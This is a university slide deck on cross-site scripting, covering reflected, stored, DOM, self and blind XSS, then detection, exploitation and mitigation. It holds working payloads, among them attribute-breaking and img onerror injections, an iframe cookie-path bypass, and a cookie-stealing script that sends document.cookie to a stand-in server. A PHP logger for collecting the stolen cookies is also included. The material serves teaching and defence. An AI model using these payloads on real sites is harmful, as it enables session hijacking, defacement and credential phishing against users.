You are on page 1of 60

Cross Site Scripting (XSS)

INF 203
•This type of attacks can be easily performed by providing malicious
user input.

•This attacks usually exist because of either insufficient validation by the


application or by the server before using the data.
XSS

Cross-site scripting is one of the oldest web application attacks known and is dated
around 1996-1998 when it was possible to control frames within a web page through
injected code, thus “crossing” the website boundaries.

Currently, it is still in the OWASP Top 10 and still a big threat.

Purpose of the attack is to inject HTML or JavaScript in a user’s Web browser.

XSS is to be considered an attack against the user of a vulnerable website.


XSS

Consider the following PHP


code:
<?php
echo '<h4>Hello ' . $_GET['name'] . '</h4>';
?>

The above simple code prints a welcome message to the user whose name is retrieved
from the $_GET variable, which stores [name, value] pairs passed through the HTTP
GET parameters.

The user input will be extracted from query string of the URL:
https://example.com/welcome.php?name=MyName
XSS

The following HTMLcode will be returned from the server to the web browser:
<h4>Hello MyName</h4>

As you can see, our input is part of the output web page source code.

So, we can play a little with name parameter:

https://example.com/welcome.php?name=</h4><script>alert(‘LOL,XSS
’);</script>

Note that value of name parameter must be URL encoded. Most browsers will do this
automatically.
XSS

The server will return this code to us:

<h4>Hello </h4><script>alert('LOL,XSS');</script>

This is fully functional Cross-site scripting attack. It injects some JavaScript code into the
web page source code.

The JavaScript will be executed in the browser within the website context.

As you can see from PHP source code, user input is given on output without any kind of
sanitization. Developer forgot to check the user input for malicious patterns or escape it,
and anyone can exploit this vulnerability to perform a number of different attacks.
XSS

To summarize: XSS are possible when the user input is used somewhere on the web
application output without proper protection, and as a result attack users of the
vulnerable application.
ANATOMY OF AN XSS
EXPLOITATION
Anatomy of an XSS Exploitation

XSS exploitation can lead to:

 Cookie stealing

 Getting complete control over a browser

 Getting control over machine (through browser/plugins exploits)

 Keylogging, Defacing

etc.
Anatomy of an XSS Exploitation

Let’s assume that the goal of an attacker is to steal a session cookie of a user X who is
authenticated into website Y. It can be achieved through XSS in most cases, so first step
will be to find an XSS affecting the website, and ensure that the vulnerable Host
(subdomain) matches the domain field of the cookie.

Once an XSS is located, attacker have to build up a payload and deliver it to the victim.

We will see in next slides what payloads can be used.

Penetration testers can use XSS for privilege escalation. Or just to annoy everyone with
alerts on every page .
TYPES OF XSS
Types of XSS

There are 3 primary types of XSS:

• Stored XSS

• Reflected XSS

• DOM-based XSS

In reality this types can overlap, creating XSS that can’t be classified with mentioned
types and can be addressed as several (e.g. Stored DOM XSS).

OWASP proposed to classify XSS by Client/Server XSS.


Types of XSS

Reflected XSS is probably the most common form of XSS. It occurs when untrusted user
data is sent to a web application, and it is immediately echoed back in the page source.

Then the browser renders received from server code.

Clearly, this type of vulnerability deals with server-side code.

You can recall our example with welcome message, which falls under this category:

<?php
echo '<h4>Hello ' . $_GET['name'] . '</h4>';
?>
Types of XSS

Persistent (or Stored) XSS are similar to Reflected, however, rather than the malicious
input being directly reflected into the response, it is stored within the web application
and echoed somewhere else within the web application and might be available to all
visitors.

This type of XSS occur also in server-side code, but more useful for attacker than
Reflected XSS.

It is because with a page persistently affected, we are not bound by having to trick a
user. We just exploit the website, and then any visitor that visits will run the malicious
code and be affected.
Types of XSS

The last one is DOM XSS which is a form of cross-site scripting that exists only within
client-side (JavaScript) code.

This vulnerability lives within DOM environment, thus within a page’s client-side script
itself and does not reach server-side code.

This is similar to our Reflected XSS example, but without interacting with the server side.

<script>
document.write("<OPTION
value=1>"+document.location.href.substring(document.location.hre
f.indexOf("default=")+8)+"</OPTION>"); </script>
Types of XSS

The key in XSS exploiting is that the client-side script code can access the browser’s
DOM and all the information available in it. It can be URL, history, cookies, web storage
and other.

Don’t forget that you can’t just route user to a webpage that you own and read the
cookies for auth.y.com, Same Origin Policy will allow code access data only for it’s own
website.

Now let’s dig further into each XSS category.


Reflected XSS

In Reflected XSS, victims bring the payload in their HTTP request to the vulnerable
website.

This payload will be inserted into the webpage and executed by their browsers.

So, attacker has to trick the victim to bring the payload with them to website. For
example victim need to click on a link with payload in order for the attack to be
successful.

When this occurs, the malicious payload is run in the victim’s browser within the context
of the vulnerable website.
Reflected XSS

4. Execute the
payload – attacker
gets control over
victim’s machine 2. Victim clicks on link with payload
http://example.com/payld=<script>alert(0)</script>

Victim Vulnerabl
3. Payload is reflected to victim e website

1. Send to victim
<html>

<script>alert(0)</script>

</html>
Persistent XSS

Persistent XSS are attacks that lead to the execution of code in all the user’s
web browsers visiting a vulnerable (and exploited) web page.

The injected code is saved by the application in unsanitized form and then rendered on
either the same or another web page in the same website.

Hence, the malicious code can be injected, by the attacker, directly into web application.
This is the most important difference between Reflected and Persistent XSS.

Therefore it is the most dangerous form of XSS as it can target all the
visitors of a website, and in a matter
targeting the website itself (although indirectly).
Persistent XSS

Let’s see an attacking scenario for a Persistent XSS, where attacker delivers payload.
Steps where payload will be executed will be described later

Vulnerable
Database
website
1. <xss_payload> 2

Hacker submits payload Payload goes into


Hacker into application Database
storage
Persistent XSS

In this scenario submitted parameter is not sanitized for illegal characters and saved in
the database for later use.

The hacker constructs his exploit, carrying XSS payload, which will be stored in
the
database.

The web application is designed so that parameter, submitted by the hacker, is given on
output on page page_out.php without any sanitization.

This scenario is both very common and applies to a number of situations, like either
commenting scripts or personal community members that accept an input.
Persistent XSS

You can see the outcome of this scenario below:


Vulnerable
Database
website
page_out.php Payload
<html>…
<payload>
…</html>

Internet

Visitors of page

All visitors receive and run malicious


payload. Happy hacker takes loot
Persistent XSS

By visiting page_out.php in which malicious payload is rendered, all the visitors of the
webpage execute the malicious payload that was submitted by the hacker.

Note that this type of attack is as asynchronous as the exploitation and actual execution
of the code happens at different times.

While in the case of reflected XSS targeted user could defend himself (at least by not
visiting strange link), in the case of Persistent XSS is so covert and neat that as soon as
the user browses the infected page, the code gets executed.
DOM-based XSS

DOM (Document Object Model) is the object (more


like a tree) built by the web browser upon parsing the
web page content provided by the server.

This object makes it easy to navigate through the


different HTML tags and the hierarchy of elements.

Functions like getElementByTagName are DOM


functions that let us navigate the
througha hierarchical view.
elements through page

You can look at the DOM-tree with help of “Inspect


element” feature, available in every browser.
*image from wikipedia
DOM-based XSS

DOM-based XSS differs from the Reflected and Persistent because they are not caused
by server-side problems.

Instead, they appear when JavaScript code uses the user supplied data as part of its
logic. Once again, if sanitization is not put in place injection is possible.

To get user data JavaScript can use the querystring or prompt() function.

We won’t consider here prompt function because it is harder to exploit.


When the user input is part of the querystring, and this is given on output through
either the method document.write or its variants, it is possible to inject arbitrary
content into the web page.
DOM-based XSS

It is important to note that this attack does not require any interaction with the server.
You can create local HTML file with following content:

<body>
<script>document.write(location.href);</script>
</body>

Open the file in the browser, note that it printed its URL (path to the file):
DOM-based XSS

Add to the URL following string: #<script>alert(0)</script>

Reload the page and notice the alert:

Fortunately some browsers URL-encode URLs and you may see this:
DOM-based XSS

DOM-based XSS can even be persistent.

If the malicious payload is saved by the web application within a cookie or web storage,
the victim user will run the malicious payload every time a new request is sent to
vulnerable page.

Note that contents of URL after # (hash or pound) sign are not sent by browser to the
server. This makes DOM-based XSS harder to find. Despite similar exploitation steps to
Reflected XSS, we can’t find out about attack from server logs.
Self-XSS

•There is one type of XSS that you can find – Self-XSS.


•Self-XSS can be stored, reflected or DOM, but considering “self” in the
name we can only attack ourselves with this XSS, for example user can
insert payload in the user’s cabinet which only this user can access.

Obviously, we can try to use social engineering to exploit this issue, but it is
hard to force user to type some strange data into web application.
Therefore self-XSS usually do not pose a risk.
But in some cases, it can be exploited with use of chain of vulnerabilities.
Blind-XSS

Blind XSS vulnerabilities are a variant of persistent XSS vulnerabilities. They


occur when the attacker input is saved by the web server and executed as a
malicious script in another part of the application or in another application
which is inaccessible to the attacker. For example, an attacker injects a
malicious payload into a contact/feedback page and when the
administrator of the application is reviewing the feedback entries the
attacker’s payload will be loaded (it can be admin panel or separate
application where the administrator reviews the access logs).
Testing for this type includes payloads that generates requests to tester’s
server.
FINDING XSS
Finding XSS

In a black box testing endeavor, finding Reflected XSS is an easy task.

We do not have access to the application source code, so we will try to figure out what
data the application gives on output upon user-supplied data.

If there is a correlation between both output-input and the user-supplied data is part of
the output, then we have found a potential mount point for an XSS attack.

Note that most of modern browsers have Reflected XSS filter, so it’s better to search for
Reflected XSS using browsers which doesn’t have one (Firefox or latest Chrome, which
deprecated previously existing filter).
Finding XSS

Once we have spotted these output-input correlations, we will try to inject HTML or
JavaScript code into the input (not any, we have access to the HTML code where payload
is reflected!). Input can be anything: GET/POST parameters, Cookie, any HTTP Header
(User-Agent, etc.).
So, we need to understand what channels the application uses to retrieve data from
user.
Different channels have different level of exploitability. Input from GET method is the
easiest to exploit, you need to only provide a malicious link to victim, and after he or she
clicks on it, browser will execute the payload.
The POST verb is used for forms submission, and its exploitation needs other approach.
Finding XSS

Assuming we’re exploring a normal GET method, we will try browsing the web
application attempting to inject html into the input parameters of the URL.

Keeping in mind that XSS is the injection of HTML and/or JavaScript, we can use
payloads like <plaintext>.

This special HTML tag instructs the browser to treat the remaining web page source as
plain text, thus breaking the appearance of the site. Be careful with this payload when
testing for Stored XSS, it can break whole page. But as a plus – you will immediately tell
if the injection was successful without inspecting the source; you will see a broken web
page layout showing the web page source as part of the website appearance.
Finding XSS

For example, if we would be able to insert <plaintext> into google, it would


look something like this:
Finding XSS

In the above picture we successfully injected the plaintext tag in the HTML source code.

Every tag coming next to the injection point will not be rendered by the web browser, it
will instead be treated as plain text.

Injecting <plaintext> does not guarantee that we can inject JavaScript.

Application may have some input validation techniques in order to prevent


script injection.

That is why the second step would be to check the possibility of injecting scripts using
the <script> tag or DOM events that we will see later.
Finding XSS

Also note that input validation may allow plaintext tag, but deny others like IFRAME or
IMG.

It is clear that using only plaintext tag is not enough to infer the presence of an XSS.

Lets see some examples for finding XSS in white box approach, when you have source
code of application.

Similar to what we have done in black box, we need to look for all the points where the
application outputs data supplied by the user and track it back to the source where it is
retrieved for the first time.

If on this path you found a sanitization or type conversion, then you should be fine (if
sanitization is implemented correctly).
XSS EXPLOITATION
XSS Exploitation

Let’s dig into exploitation. Consider following vulnerable PHP code:

<!DOCTYPE html>
<html><head><Title>Page</Title> </head><body>
<p>The <a href="<?= $_GET['page'] ?>">page</a> could not be
found.</p>
</body></html>

If you want to play with this code, you can run Kali Linux, place this file under
/var/www/html folder with php extension and run Apache service with command:

service apache2 start


XSS Exploitation

To run code, visit http://127.0.0.1/<your_file_name>.php?page=PageURL.

The page parameter reflected without any sanitization.

Lets visit this page, providing parameter with following value:

page=<script>alert(“XSS”)</script>

The application will render following:

As we can see, payload successfully inserted, but won’t be executed because it is inside
href attribute.
XSS Exploitation

In this case we need to close attribute and tag by using “> symbols. So our payload will
be:

page="><script>alert("XSS")</script>

Unfortunately, it will break site structure and show extra characters:

Let’s look into page source, there is extra “> after our payload:

<p>The <a href=""><script>alert("XSS")</script>">page</a> could


not be found.</p>
XSS Exploitation

We can play with current payload to remove this characters or try to use another type of
payload. For example:

page="><body onload="alert(0)

Note that we haven’t closed quotes, because remained quotes in the source code will
close it.

In this case we can even not use < > symbols and just use HTML events with payload like
this:

page=" onmousemove="alert(0)
XSS Exploitation

With this trick we can evade simple validation checks for < > symbols, but in this case we
need to expect user to move mouse over our component. In cases when payload
inserted in different tags like svg, button or body onload event can be used or
combination of onfocus with autofocus attribute.

If we need to evade other checks, we can use String.fromCharCode function, which


eliminates the need for another set of quotes.

Sometimes for researches its better and simpler to use numbers in alert window instead
of strings.
XSS Exploitation

Another useful payload is one with the img tag.

With this tag we can use onerror event. And to successfully trigger this event we will
place a corrupted src attribute.

In this case our payload will look like this:

<img src=0 onerror=alert(“image not loaded”)/>


Cookie stealing through XSS

To identify user session, application often uses cookies, which automatically sent to
server according to domain and path.

In some cases, application may use tokens submitted with help of JavaScript. In next
steps we will see how we can steal cookie through XSS, and for cases with tokens our
steps will be similar with only some differences in payload.

Browser’s SOP will prevent to read cookies/data from other domain, so we need
possibility to run our code in targeted domain, luckily, we can do this with XSS.
Cookie stealing through XSS

First of all, user must be logged into application and have a valid session cookie.
POST /login HTTP/1.1 200 OK
… …
Set-Cookie: SESSIONID=8CABEA26C8C953FC03BC2F124056027C
user=admin&pass=admin

After login browser will receive cookie with Set-Cookie response header and will save it.

In each subsequent request to this domain, this cookie will be sent and server will use it
to identify that it indeed that user. For that purpose server will create some sort of
database of data with key value matching session cookie. Now it should be clear that if
we make a request with a valid cookie from another user, we will access his data.
Cookie stealing through XSS

First of all, we need to find an XSS. In some cases, when cookie is set on the whole
domain, including subdomains, we can even attack application on the other subdomain,
which can be less secure . But we must not forget that cookie scope can be also
reduced by the path attribute. Fortunately for us, it is a performance, not a security
feature, and we will see workaround after digging into this feature later.

If cookie doesn’t have any restrictions – it’s better for us .

For example we can encounter following: ‘domain=.example.com’, you can think in


this case that wildcard symbol is set: ‘*.example.com’, which means that web browser
will send the installed cookie in all example.com subdomains and we can broad our
attack surface to include them as well.
Cookie stealing through XSS

The other parameter is path.

When it is set to ‘path=/’ then it will be sent to all directories of the domain.

When it is set to ‘path=/auth/’ it will be limited to auth directory and it’s subdirectories.

When it is set to ‘path=/auth’ it, surprisingly, will limit to all directories which name
starts from auth: /authorization, /authentication and so on.

Its seams that it will limit our XSS search, but as we mentioned before, it is just
a performance feature and can be bypassed. We will look into it in the next slide.

Feel free to create simple scripts and play with them to make things clear.
Cookie stealing through XSS

Let’s see a bypass for path limitation. Here is example from a paper here:

<script>
function bru() {
var cookies = document.getElementById('f').cookie;
alert(cookies);
}
</script>
<iframe id="f" onload="bru()" style="display:none“
src="http://www.csnc.ch/private/anywhere.html" >
</iframe>
Cookie stealing through XSS

You can look into paper for more details. But basically, a script under one path is capable
to read the cookie set from other through an iframe.

That means that you still can look for XSS in other paths if you will be able to insert
mentioned code (with a little modifications for stealy-stealy).

For inspecting cookie lifecycle you can use interception proxy (Burp) and Application tab
in Developer tools of your browser.
Cookie stealing through XSS

You need to understand that all that cookie stealing through XSS is possible only when
httpOnly flag is not set on the cookie. It prevents reading cookies with JavaScript and
allows to use them only in HTTP protocol.

Let us assume that we found an XSS on http://example.com/search page. The


exploitation will consist from the following steps:

 Read the cookie with JavaScript

 Send the cookie to the server that we own

 Retrieve the cookie from our server and install it in our browser
Cookie stealing through XSS

Note that if you don’t have a server, you can use services like http://requestbin.net/ or
Burp Collaborator. Be careful when using them against production environments,
because you have no control over this services and there is no guarantee that they
won't leak your (customer) data.

Your payload will be similar to this:

<script>document.write('<img
src=\"http://serv?s='+document.cookie+'\"');</script>
In this payload we create image in the DOM with URL pointing at our server with cookie
as parameter. Note that we read cookie with JavaScript by document.cookie method.
Cookie stealing through XSS

For server side we can write PHP script, that will log all incoming requests:

$filename=“out.txt”; // log filename


$file=fopen($filename,’a’); // open log file in append mode
$cookie=$_GET[‘s’]; // gets a value of s param with a cookie
fwrite($file, $cookie); // writes cookie in log file
fclose($file); // closes the file
As a result we found an XSS, we crafted a payload and can send it to the victim, we can
use tiny URL services to hide our payload in the URL.
Defacement

In the most of the time to proof that there is XSS vulnerability you will use simple alert
window, but it’s not informative to client and without immediate visible damages of XSS
he may not understand it’s risks.

Deface is best way to explain the damages and carry out a thought that vulnerability
must be patched as soon as possible.

In previous example we attacked an user by trying to steal his cookie, when using
defacement we will attack the application itself. For better effects it is better to have a
persistent XSS instead of Reflected.
Defacement

As previously discussed we will search Stored XSS in the data that stored in
the database.

In case if we find an Persistent XSS we will be able to change appearance of the web
page by manipulating the DOM.

Simplest way to change DOM is by using JavaScript:

document.body.innerHTML=“<h1>LOL, haxxed</h1>”;

The body object corresponds to the body tag which includes page content.
With previous JavaScript line we replace page content with our own.
XSS for advanced phishing attacks

XSS can be used for advanced phishing. You probably will type your password in cases
when a site ask for it, even in the middle of session. Attackers can use this, instead of
simple defacement, they will put a login form which will send your credentials to their
server.

When most of phishing attacks try to convince you that a different website is actually
valid, with XSS vulnerability attack will work on an actual website.

Note that usual fishing defenses will fail because phishing website is the actual website.

And create an valid login form is simple – just copy actual site’s login form and modify
action URL.
Beef

BeEF (The Browser Exploitation Framework) was created to simplify XSS exploitation. It
allow to redirect the victim, perform Man-In-The-Browser attack, control web camera,
incases with old vulnerable browsers run Metasploit Browser Autopwn and achieve
remote shell on the machine.

BeEF is included in Kali Linux. Feel free to use it and get familiar with it’s capabilities to
better understand XSS.
MITIGATION
Mitigation

XSS vulnerabilities relate to Data Validation vulnerabilities. They arise when user input is
not validated and copied in the output.

To mitigate an XSS we need to validate an input and perform context-aware output


encoding.

Validating an input can dramatically reduce chances of XSS. For example if we have cost
field, then we probably need to accept only numbers.

If URL is outputted on the page, then probably we need to check protocol to match only
HTTP/HTTPS and drop others, especially JavaScript.
Context-Aware output encoding

Output, obviously need to be encoded. In cases when data printed between tags, it’s
probably good idea to use HTML-entity, so no new tags are appeared. But sometimes
input can accept tags like img or spoiler, so we need to encode data depending on
context.

If data printed in URL attribute of tag or in attribute in general, then we can use URL-
encoding or quotes sanitization.

Luckily most of libraries have default sanitization functions and it’s better to use one
instead of creating them manually.

You might also like